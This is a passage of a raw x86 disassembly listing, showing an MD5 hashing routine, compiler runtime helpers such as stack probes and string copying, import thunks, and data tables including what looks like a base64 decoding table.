mov ecx, [edi+8]
mov edx, [edi+0Ch]
call sub_422A45
add eax, [edi]
add eax, [esi+10h]
add eax, 0F57C0FAFh
rol eax, 7
add eax, [edi+4]
mov [edi], eax
mov ebx, [edi+0Ch]
mov ecx, [edi]
mov edx, [edi+4]
call sub_422A45
add eax, [edi+8]
add eax, [esi+18h]
add eax, 0A8304613h
rol eax, 11h
add eax, [edi+0Ch]
mov [edi+8], eax
mov ebx, [edi+8]
mov ecx, [edi+0Ch]
mov edx, [edi]
call sub_422A45
add eax, [edi+4]
add eax, [esi+1Ch]
add eax, 0FD469501h
rol eax, 16h
add eax, [edi+8]
mov [edi+4], eax
mov ebx, [edi+4]
mov ecx, [edi+8]
mov edx, [edi+0Ch]
call sub_422A45
add eax, [edi]
add eax, [esi+20h]
add eax, 698098D8h
rol eax, 7
add eax, [edi+4]
mov [edi], eax
mov ebx, [edi]
mov ecx, [edi+4]
mov edx, [edi+8]
call sub_422A45
add eax, [edi+0Ch]
add eax, [esi+24h]
add eax, 8B44F7AFh
rol eax, 0Ch
add eax, [edi]
mov [edi+0Ch], eax
mov ebx, [edi+0Ch]
mov ecx, [edi]
mov edx, [edi+4]
call sub_422A45
add eax, [edi+8]
add eax, [esi+28h]
add eax, 0FFFF5BB1h
rol eax, 11h
add eax, [edi+0Ch]
mov [edi+8], eax
mov ebx, [edi+8]
mov ecx, [edi+0Ch]
mov edx, [edi]
call sub_422A45
add eax, [edi+4]
add eax, [esi+2Ch]
add eax, 895CD7BEh
rol eax, 16h
add eax, [edi+8]
mov [edi+4], eax
mov ebx, [edi+4]
mov ecx, [edi+8]
mov edx, [edi+0Ch]
call sub_422A45
add eax, [edi]
add eax, [esi+30h]
add eax, 6B901122h
rol eax, 7
add eax, [edi+4]
mov [edi], eax
mov ebx, [edi]
mov ecx, [edi+4]
mov edx, [edi+8]
call sub_422A45
add eax, [edi+0Ch]
add eax, [esi+34h]
add eax, 0FD987193h
rol eax, 0Ch
add eax, [edi]
mov [edi+0Ch], eax
mov ebx, [edi+0Ch]
mov ecx, [edi]
mov edx, [edi+4]
call sub_422A45
add eax, [edi+8]
add eax, [esi+38h]
add eax, 0A679438Eh
rol eax, 11h
add eax, [edi+0Ch]
mov [edi+8], eax
mov ebx, [edi+8]
mov ecx, [edi+0Ch]
mov edx, [edi]
call sub_422A45
add eax, [edi+4]
add eax, [esi+3Ch]
add eax, 49B40821h
rol eax, 16h
add eax, [edi+8]
mov [edi+4], eax
mov ebx, [edi+4]
mov ecx, [edi+8]
mov edx, [edi+0Ch]
call sub_422A52
add eax, [edi]
add eax, [esi+4]
add eax, 0F61E2562h
rol eax, 5
add eax, [edi+4]
mov [edi], eax
mov ebx, [edi]
mov ecx, [edi+4]
mov edx, [edi+8]
call sub_422A52
add eax, [edi+0Ch]
add eax, [esi+18h]
add eax, 0C040B340h
rol eax, 9
add eax, [edi]
mov [edi+0Ch], eax
mov ebx, [edi+0Ch]
mov ecx, [edi]
mov edx, [edi+4]
call sub_422A52
add eax, [edi+8]
add eax, [esi+2Ch]
add eax, 265E5A51h
rol eax, 0Eh
add eax, [edi+0Ch]
mov [edi+8], eax
mov ebx, [edi+8]
mov ecx, [edi+0Ch]
mov edx, [edi]
call sub_422A52
add eax, [edi+4]
add eax, [esi]
add eax, 0E9B6C7AAh
rol eax, 14h
add eax, [edi+8]
mov [edi+4], eax
mov ebx, [edi+4]
mov ecx, [edi+8]
mov edx, [edi+0Ch]
call sub_422A52
add eax, [edi]
add eax, [esi+14h]
add eax, 0D62F105Dh
rol eax, 5
add eax, [edi+4]
mov [edi], eax
mov ebx, [edi]
mov ecx, [edi+4]
mov edx, [edi+8]
call sub_422A52
add eax, [edi+0Ch]
add eax, [esi+28h]
add eax, 2441453h
rol eax, 9
add eax, [edi]
mov [edi+0Ch], eax
mov ebx, [edi+0Ch]
mov ecx, [edi]
mov edx, [edi+4]
call sub_422A52
add eax, [edi+8]
add eax, [esi+3Ch]
add eax, 0D8A1E681h
rol eax, 0Eh
add eax, [edi+0Ch]
mov [edi+8], eax
mov ebx, [edi+8]
mov ecx, [edi+0Ch]
mov edx, [edi]
call sub_422A52
add eax, [edi+4]
add eax, [esi+10h]
add eax, 0E7D3FBC8h
rol eax, 14h
add eax, [edi+8]
mov [edi+4], eax
mov ebx, [edi+4]
mov ecx, [edi+8]
mov edx, [edi+0Ch]
call sub_422A52
add eax, [edi]
add eax, [esi+24h]
add eax, 21E1CDE6h
rol eax, 5
add eax, [edi+4]
mov [edi], eax
mov ebx, [edi]
mov ecx, [edi+4]
mov edx, [edi+8]
call sub_422A52
add eax, [edi+0Ch]
add eax, [esi+38h]
add eax, 0C33707D6h
rol eax, 9
add eax, [edi]
mov [edi+0Ch], eax
mov ebx, [edi+0Ch]
mov ecx, [edi]
mov edx, [edi+4]
call sub_422A52
add eax, [edi+8]
add eax, [esi+0Ch]
add eax, 0F4D50D87h
rol eax, 0Eh
add eax, [edi+0Ch]
mov [edi+8], eax
mov ebx, [edi+8]
mov ecx, [edi+0Ch]
mov edx, [edi]
call sub_422A52
add eax, [edi+4]
add eax, [esi+20h]
add eax, 455A14EDh
rol eax, 14h
add eax, [edi+8]
mov [edi+4], eax
mov ebx, [edi+4]
mov ecx, [edi+8]
mov edx, [edi+0Ch]
call sub_422A52
add eax, [edi]
add eax, [esi+34h]
add eax, 0A9E3E905h
rol eax, 5
add eax, [edi+4]
mov [edi], eax
mov ebx, [edi]
mov ecx, [edi+4]
mov edx, [edi+8]
call sub_422A52
add eax, [edi+0Ch]
add eax, [esi+8]
add eax, 0FCEFA3F8h
rol eax, 9
add eax, [edi]
mov [edi+0Ch], eax
mov ebx, [edi+0Ch]
mov ecx, [edi]
mov edx, [edi+4]
call sub_422A52
add eax, [edi+8]
add eax, [esi+1Ch]
add eax, 676F02D9h
rol eax, 0Eh
add eax, [edi+0Ch]
mov [edi+8], eax
mov ebx, [edi+8]
mov ecx, [edi+0Ch]
mov edx, [edi]
call sub_422A52
add eax, [edi+4]
add eax, [esi+30h]
add eax, 8D2A4C8Ah
rol eax, 14h
add eax, [edi+8]
mov [edi+4], eax
mov ebx, [edi+4]
mov ecx, [edi+8]
mov edx, [edi+0Ch]
call sub_422A5F
add eax, [edi]
add eax, [esi+14h]
add eax, 0FFFA3942h
rol eax, 4
add eax, [edi+4]
mov [edi], eax
mov ebx, [edi]
mov ecx, [edi+4]
mov edx, [edi+8]
call sub_422A5F
add eax, [edi+0Ch]
add eax, [esi+20h]
add eax, 8771F681h
rol eax, 0Bh
add eax, [edi]
mov [edi+0Ch], eax
mov ebx, [edi+0Ch]
mov ecx, [edi]
mov edx, [edi+4]
call sub_422A5F
add eax, [edi+8]
add eax, [esi+2Ch]
add eax, 6D9D6122h
rol eax, 10h
add eax, [edi+0Ch]
mov [edi+8], eax
mov ebx, [edi+8]
mov ecx, [edi+0Ch]
mov edx, [edi]
call sub_422A5F
add eax, [edi+4]
add eax, [esi+38h]
add eax, 0FDE5380Ch
rol eax, 17h
add eax, [edi+8]
mov [edi+4], eax
mov ebx, [edi+4]
mov ecx, [edi+8]
mov edx, [edi+0Ch]
call sub_422A5F
add eax, [edi]
add eax, [esi+4]
add eax, 0A4BEEA44h
rol eax, 4
add eax, [edi+4]
mov [edi], eax
mov ebx, [edi]
mov ecx, [edi+4]
mov edx, [edi+8]
call sub_422A5F
add eax, [edi+0Ch]
add eax, [esi+10h]
add eax, 4BDECFA9h
rol eax, 0Bh
add eax, [edi]
mov [edi+0Ch], eax
mov ebx, [edi+0Ch]
mov ecx, [edi]
mov edx, [edi+4]
call sub_422A5F
add eax, [edi+8]
add eax, [esi+1Ch]
add eax, 0F6BB4B60h
rol eax, 10h
add eax, [edi+0Ch]
mov [edi+8], eax
mov ebx, [edi+8]
mov ecx, [edi+0Ch]
mov edx, [edi]
call sub_422A5F
add eax, [edi+4]
add eax, [esi+28h]
add eax, 0BEBFBC70h
rol eax, 17h
add eax, [edi+8]
mov [edi+4], eax
mov ebx, [edi+4]
mov ecx, [edi+8]
mov edx, [edi+0Ch]
call sub_422A5F
add eax, [edi]
add eax, [esi+34h]
add eax, 289B7EC6h
rol eax, 4
add eax, [edi+4]
mov [edi], eax
mov ebx, [edi]
mov ecx, [edi+4]
mov edx, [edi+8]
call sub_422A5F
add eax, [edi+0Ch]
add eax, [esi]
add eax, 0EAA127FAh
rol eax, 0Bh
add eax, [edi]
mov [edi+0Ch], eax
mov ebx, [edi+0Ch]
mov ecx, [edi]
mov edx, [edi+4]
call sub_422A5F
add eax, [edi+8]
add eax, [esi+0Ch]
add eax, 0D4EF3085h
rol eax, 10h
add eax, [edi+0Ch]
mov [edi+8], eax
mov ebx, [edi+8]
mov ecx, [edi+0Ch]
mov edx, [edi]
call sub_422A5F
add eax, [edi+4]
add eax, [esi+18h]
add eax, 4881D05h
rol eax, 17h
add eax, [edi+8]
mov [edi+4], eax
mov ebx, [edi+4]
mov ecx, [edi+8]
mov edx, [edi+0Ch]
call sub_422A5F
add eax, [edi]
add eax, [esi+24h]
add eax, 0D9D4D039h
rol eax, 4
add eax, [edi+4]
mov [edi], eax
mov ebx, [edi]
mov ecx, [edi+4]
mov edx, [edi+8]
call sub_422A5F
add eax, [edi+0Ch]
add eax, [esi+30h]
add eax, 0E6DB99E5h
rol eax, 0Bh
add eax, [edi]
mov [edi+0Ch], eax
mov ebx, [edi+0Ch]
mov ecx, [edi]
mov edx, [edi+4]
call sub_422A5F
add eax, [edi+8]
add eax, [esi+3Ch]
add eax, 1FA27CF8h
rol eax, 10h
add eax, [edi+0Ch]
mov [edi+8], eax
mov ebx, [edi+8]
mov ecx, [edi+0Ch]
mov edx, [edi]
call sub_422A5F
add eax, [edi+4]
add eax, [esi+8]
add eax, 0C4AC5665h
rol eax, 17h
add eax, [edi+8]
mov [edi+4], eax
mov ebx, [edi+4]
mov ecx, [edi+8]
mov edx, [edi+0Ch]
call sub_422A66
add eax, [edi]
add eax, [esi]
add eax, 0F4292244h
rol eax, 6
add eax, [edi+4]
mov [edi], eax
mov ebx, [edi]
mov ecx, [edi+4]
mov edx, [edi+8]
call sub_422A66
add eax, [edi+0Ch]
add eax, [esi+1Ch]
add eax, 432AFF97h
rol eax, 0Ah
add eax, [edi]
mov [edi+0Ch], eax
mov ebx, [edi+0Ch]
mov ecx, [edi]
mov edx, [edi+4]
call sub_422A66
add eax, [edi+8]
add eax, [esi+38h]
add eax, 0AB9423A7h
rol eax, 0Fh
add eax, [edi+0Ch]
mov [edi+8], eax
mov ebx, [edi+8]
mov ecx, [edi+0Ch]
mov edx, [edi]
call sub_422A66
add eax, [edi+4]
add eax, [esi+14h]
add eax, 0FC93A039h
rol eax, 15h
add eax, [edi+8]
mov [edi+4], eax
mov ebx, [edi+4]
mov ecx, [edi+8]
mov edx, [edi+0Ch]
call sub_422A66
add eax, [edi]
add eax, [esi+30h]
add eax, 655B59C3h
rol eax, 6
add eax, [edi+4]
mov [edi], eax
mov ebx, [edi]
mov ecx, [edi+4]
mov edx, [edi+8]
call sub_422A66
add eax, [edi+0Ch]
add eax, [esi+0Ch]
add eax, 8F0CCC92h
rol eax, 0Ah
add eax, [edi]
mov [edi+0Ch], eax
mov ebx, [edi+0Ch]
mov ecx, [edi]
mov edx, [edi+4]
call sub_422A66
add eax, [edi+8]
add eax, [esi+28h]
add eax, 0FFEFF47Dh
rol eax, 0Fh
add eax, [edi+0Ch]
mov [edi+8], eax
mov ebx, [edi+8]
mov ecx, [edi+0Ch]
mov edx, [edi]
call sub_422A66
add eax, [edi+4]
add eax, [esi+4]
add eax, 85845DD1h
rol eax, 15h
add eax, [edi+8]
mov [edi+4], eax
mov ebx, [edi+4]
mov ecx, [edi+8]
mov edx, [edi+0Ch]
call sub_422A66
add eax, [edi]
add eax, [esi+20h]
add eax, 6FA87E4Fh
rol eax, 6
add eax, [edi+4]
mov [edi], eax
mov ebx, [edi]
mov ecx, [edi+4]
mov edx, [edi+8]
call sub_422A66
add eax, [edi+0Ch]
add eax, [esi+3Ch]
add eax, 0FE2CE6E0h
rol eax, 0Ah
add eax, [edi]
mov [edi+0Ch], eax
mov ebx, [edi+0Ch]
mov ecx, [edi]
mov edx, [edi+4]
call sub_422A66
add eax, [edi+8]
add eax, [esi+18h]
add eax, 0A3014314h
rol eax, 0Fh
add eax, [edi+0Ch]
mov [edi+8], eax
mov ebx, [edi+8]
mov ecx, [edi+0Ch]
mov edx, [edi]
call sub_422A66
add eax, [edi+4]
add eax, [esi+34h]
add eax, 4E0811A1h
rol eax, 15h
add eax, [edi+8]
mov [edi+4], eax
mov ebx, [edi+4]
mov ecx, [edi+8]
mov edx, [edi+0Ch]
call sub_422A66
add eax, [edi]
add eax, [esi+10h]
add eax, 0F7537E82h
rol eax, 6
add eax, [edi+4]
mov [edi], eax
mov ebx, [edi]
mov ecx, [edi+4]
mov edx, [edi+8]
call sub_422A66
add eax, [edi+0Ch]
add eax, [esi+2Ch]
add eax, 0BD3AF235h
rol eax, 0Ah
add eax, [edi]
mov [edi+0Ch], eax
mov ebx, [edi+0Ch]
mov ecx, [edi]
mov edx, [edi+4]
call sub_422A66
add eax, [edi+8]
add eax, [esi+8]
add eax, 2AD7D2BBh
rol eax, 0Fh
add eax, [edi+0Ch]
mov [edi+8], eax
mov ebx, [edi+8]
mov ecx, [edi+0Ch]
mov edx, [edi]
call sub_422A66
add eax, [edi+4]
add eax, [esi+24h]
add eax, 0EB86D391h
rol eax, 15h
add eax, [edi+8]
mov [edi+4], eax
mov eax, ds:10014B68h
add [edi], eax
mov eax, ds:10014B6Ch
add [edi+4], eax
mov eax, ds:10014B70h
add [edi+8], eax
mov eax, ds:10014B74h
add [edi+0Ch], eax
popa
pop ebp
xor eax, eax
retn 8
sub_422A96 endp
; =============== S U B R O U T I N E =======================================
sub_4232E1 proc near ; CODE XREF: sub_4232FE+1Ep
var_FFC = dword ptr -0FFCh
pop ecx
loc_4232E2: ; CODE XREF: sub_4232E1+14j
sub esp, 1000h
sub eax, 1000h
test [esp+0FFCh+var_FFC], eax
cmp eax, 1000h
jnb short loc_4232E2
sub esp, eax
test [esp+0FFCh+var_FFC], eax
push ecx
retn
sub_4232E1 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4232FE proc near ; CODE XREF: sub_41D465+42p
arg_0 = dword ptr 4
pop ecx
pop eax
add eax, 3
shr eax, 2
shl eax, 2
cmp eax, 1000h
jl short loc_42332E
mov edx, esp
push eax
fild [esp-4+arg_0]
mov [esp-4+arg_0], ecx
fild [esp-4+arg_0]
call sub_4232E1
mov esp, edx
push edx
fistp dword ptr [esp+0]
mov ecx, [esp+0]
fistp dword ptr [esp+0]
pop eax
loc_42332E: ; CODE XREF: sub_4232FE+10j
sub esp, eax
mov eax, esp
mov dword ptr [eax], 0
push ecx
push ecx
retn
sub_4232FE endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 4
dd 40C03100h, 0CC2h, 3CD95000h, 24048B24h, 2434BA0Fh, 0C816608h
db 24h, 0, 2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423368
loc_423357: ; CODE XREF: sub_423368+Dj
fldcw word ptr [esp+4+var_4]
pop ecx
mov al, ah
and eax, 3
retn
; END OF FUNCTION CHUNK FOR sub_423368
; ---------------------------------------------------------------------------
db 50h, 0D9h, 3Ch
dd 0F3EB5824h
; =============== S U B R O U T I N E =======================================
sub_423368 proc near ; CODE XREF: .data:loc_4185B4p
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00423357 SIZE 0000000A BYTES
push eax
fnstcw word ptr [esp+4+var_4]
mov eax, [esp+4+var_4]
or word ptr [esp+4+var_4], 300h
jmp short loc_423357
sub_423368 endp
; ---------------------------------------------------------------------------
align 4
db 0
; =============== S U B R O U T I N E =======================================
sub_423379 proc near ; CODE XREF: sub_418999+8p
; sub_4197BE+8p ...
var_FFC = dword ptr -0FFCh
pop ecx
loc_42337A: ; CODE XREF: sub_423379+14j
sub esp, 1000h
sub eax, 1000h
test [esp+0FFCh+var_FFC], eax
cmp eax, 1000h
jnb short loc_42337A
sub esp, eax
test [esp+0FFCh+var_FFC], eax
jmp ecx
sub_423379 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 4
db 0
; =============== S U B R O U T I N E =======================================
sub_423399 proc near ; CODE XREF: sub_418999+243p
; sub_418999+5A7p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_4]
xor eax, eax
mov ecx, 0FFFFFFFFh
xchg edi, edx
repne scasb
neg ecx
lea ecx, [ecx-1]
mov eax, [esp+arg_4]
xchg eax, esi
mov edi, [esp+arg_0]
rep movsb
xchg eax, esi
xchg edx, edi
mov eax, [esp+arg_0]
retn 8
sub_423399 endp
; ---------------------------------------------------------------------------
align 4
dd 0AC25FF00h, 90100150h, 90h
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4233D1 proc near ; CODE XREF: sub_418669+10p
jmp dword ptr ds:100150B0h
sub_4233D1 endp
; ---------------------------------------------------------------------------
db 90h
dd 90h
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4233DD proc near ; CODE XREF: sub_41848D+13p
jmp dword ptr ds:100150B4h
sub_4233DD endp
; ---------------------------------------------------------------------------
db 90h
dd 90h
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4233E9 proc near ; CODE XREF: sub_4185D0+33p
; sub_4185D0+45p ...
jmp dword ptr ds:100150C0h
sub_4233E9 endp
; ---------------------------------------------------------------------------
db 90h
dd 90h
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4233F5 proc near ; CODE XREF: sub_4185D0+Bp
; sub_4185D0+17p ...
jmp dword ptr ds:100150C4h
sub_4233F5 endp
; ---------------------------------------------------------------------------
db 90h
dd 90h, 0C825FF00h, 90100150h, 90h, 0CC25FF00h, 90100150h
dd 90h
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_423419 proc near ; CODE XREF: sub_418669+4Ep
; sub_418669+87p
jmp dword ptr ds:100150D0h
sub_423419 endp
; ---------------------------------------------------------------------------
db 90h
dd 90h
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_423425 proc near ; CODE XREF: .data:00418593p
jmp dword ptr ds:100150D4h
sub_423425 endp
; ---------------------------------------------------------------------------
db 90h
dd 90h
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_423431 proc near ; CODE XREF: sub_4185D0+71p
; sub_4185D0+86p
jmp dword ptr ds:100150D8h
sub_423431 endp
; ---------------------------------------------------------------------------
db 90h
dd 90h
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_42343D proc near ; CODE XREF: sub_418669+9Ep
jmp dword ptr ds:100150DCh
sub_42343D endp
; ---------------------------------------------------------------------------
db 90h
dd 90h, 71h dup(0)
dd 0BF3000h, 10h, 4 dup(0)
dd 732500h, 72007700h, 1Ch dup(0)
dd 300h, 600h, 200h, 500h, 400h, 2 dup(600h), 100h, 700h
dd 800h, 300h, 900h, 200h, 700h, 0
dd 2 dup(700h), 600h, 200h, 300h, 100h, 900h, 100h, 400h
dd 100h, 2 dup(700h), 600h, 300h, 800h, 2 dup(600h), 500h
dd 800h, 300h, 2 dup(500h), 600h, 900h, 800h, 300h, 800h
dd 0
dd 300h, 900h, 600h, 200h, 600h, 800h, 700h, 2 dup(900h)
dd 100h, 400h, 0
dd 100h, 200h, 700h, 400h, 500h, 400h, 200h, 2 dup(0)
dd 200h, 900h, 200h, 600h, 300h, 700h, 200h, 500h, 700h
dd 400h, 500h, 900h, 400h, 500h, 0
dd 600h, 700h, 200h, 900h, 100h, 300h, 400h, 100h, 800h
dd 300h, 400h, 300h, 2 dup(500h), 100h, 500h, 600h, 100h
dd 900h, 500h, 800h, 400h, 500h, 300h, 700h, 600h, 400h
dd 0
dd 500h, 200h, 400h, 0
dd 900h, 100h, 900h, 200h, 800h, 200h, 900h, 400h, 900h
dd 400h, 100h, 200h, 2 dup(400h), 900h, 2 dup(600h), 0Bh dup(0)
dd 149B200h, 0E86010h, 61000000h, 0E9h, 0
dd 1100h, 0Fh dup(0)
db 0
db 0A5h, 0EEh, 0F7h
db 0E1h ;
db 2Ch, 7Eh, 0FDh
db 0BFh ;
db 7Fh, 0E8h, 9Ah
db 86h ;
db 82h, 40h, 24h
db 0CCh ;
db 0E2h, 0DDh, 6Ah
db 0D7h ;
db 2 dup(0E1h), 77h
db 1Bh
db 0B0h, 15h, 52h
db 50h ; P
db 56h, 64h, 4Bh
db 0D2h ;
db 6Bh, 7Ch, 35h
db 3Dh ; =
db 0D5h, 85h, 0Eh
db 28h ; (
db 0F9h, 51h, 0B0h
db 1Ah
db 44h, 87h, 4Eh
db 1Eh
db 0DFh, 0CCh, 83h
db 0E3h ;
db 37h, 47h, 3Dh
db 32h ; 2
db 18h, 5, 0F8h
db 14h
db 0BFh, 37h, 6
db 6Eh ; n
align 10h
db 0
db 0D0h, 9Ch, 0
db 10h
db 4Bh, 7Fh, 0
db 10h
db 0BFh, 7Bh, 0
db 10h
db 0A7h, 51h, 0
db 10h
db 0EEh, 89h, 0
db 10h
db 94h, 92h, 0
db 10h
db 89h, 5Eh, 0
db 10h
align 10h
db 0
db 0B8h, 25h, 0
db 10h
db 0A1h, 25h, 0
db 10h
db 0C1h, 9Eh, 0
db 10h
db 7Fh, 5Ch, 0
db 10h
db 0BCh, 2Dh, 0
db 10h
db 6Bh, 50h, 0
db 10h
db 0E8h, 9Eh, 0
db 10h
db 74h, 33h, 1
db 10h
align 4
db 0
db 8Ch, 54h, 0
db 10h
db 0AFh, 51h, 0
db 10h
db 60h, 5Eh, 0
db 10h
db 43h, 7Fh, 0
db 10h
db 1Ah, 46h, 0
db 10h
db 33h, 26h, 0
db 10h
db 57h, 28h, 0
db 10h
db 98h, 33h, 1
db 10h
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3Eh, 2 dup(0)
db 0
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3Fh, 2 dup(0)
db 0
db 34h, 2 dup(0)
db 0
db 35h, 2 dup(0)
db 0
db 36h, 2 dup(0)
db 0
db 37h, 2 dup(0)
db 0
db 38h, 2 dup(0)
db 0
db 39h, 2 dup(0)
db 0
db 3Ah, 2 dup(0)
db 0
db 3Bh, 2 dup(0)
db 0
db 3Ch, 2 dup(0)
db 0
db 3Dh, 2 dup(0)
db 0
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
align 4
db 0
db 1, 2 dup(0)
db 0
db 2, 2 dup(0)
db 0
db 3, 2 dup(0)
db 0
db 4, 2 dup(0)
db 0
db 5, 2 dup(0)
db 0
db 6, 2 dup(0)
db 0
db 7, 2 dup(0)
db 0
db 8, 2 dup(0)
db 0
db 9, 2 dup(0)
db 0
db 0Ah, 2 dup(0)
db 0
db 0Bh, 2 dup(0)
db 0
db 0Ch, 2 dup(0)
db 0
db 0Dh, 2 dup(0)
db 0
db 0Eh, 2 dup(0)
db 0
db 0Fh, 2 dup(0)
db 0
db 10h, 2 dup(0)
db 0
db 11h, 2 dup(0)
db 0
db 12h, 2 dup(0)
db 0
db 13h, 2 dup(0)
db 0
db 14h, 2 dup(0)
db 0
db 15h, 2 dup(0)
db 0
db 16h, 2 dup(0)
db 0
db 17h, 2 dup(0)
db 0
db 18h, 2 dup(0)
db 0
db 19h, 2 dup(0)
db 0
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 1Ah, 2 dup(0)
db 0
db 1Bh, 2 dup(0)
db 0
db 1Ch, 2 dup(0)
db 0
db 1Dh, 2 dup(0)
db 0
db 1Eh, 2 dup(0)
db 0
db 1Fh, 2 dup(0)
db 0
db 20h, 2 dup(0)
db 0
db 21h, 2 dup(0)
db 0
db 22h, 2 dup(0)
db 0
db 23h, 2 dup(0)
db 0
db 24h, 2 dup(0)
db 0
db 25h, 2 dup(0)
db 0
db 26h, 2 dup(0)
db 0
db 27h, 2 dup(0)
db 0
db 28h, 2 dup(0)
db 0
db 29h, 2 dup(0)
db 0
db 2Ah, 2 dup(0)
db 0
db 2Bh, 2 dup(0)
db 0
db 2Ch, 2 dup(0)
db 0
db 2Dh, 2 dup(0)
db 0
db 2Eh, 2 dup(0)
db 0
db 2Fh, 2 dup(0)
db 0
db 30h, 2 dup(0)
db 0
db 31h, 2 dup(0)
db 0
db 32h, 2 dup(0)
db 0
db 33h, 2 dup(0)
db 0
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
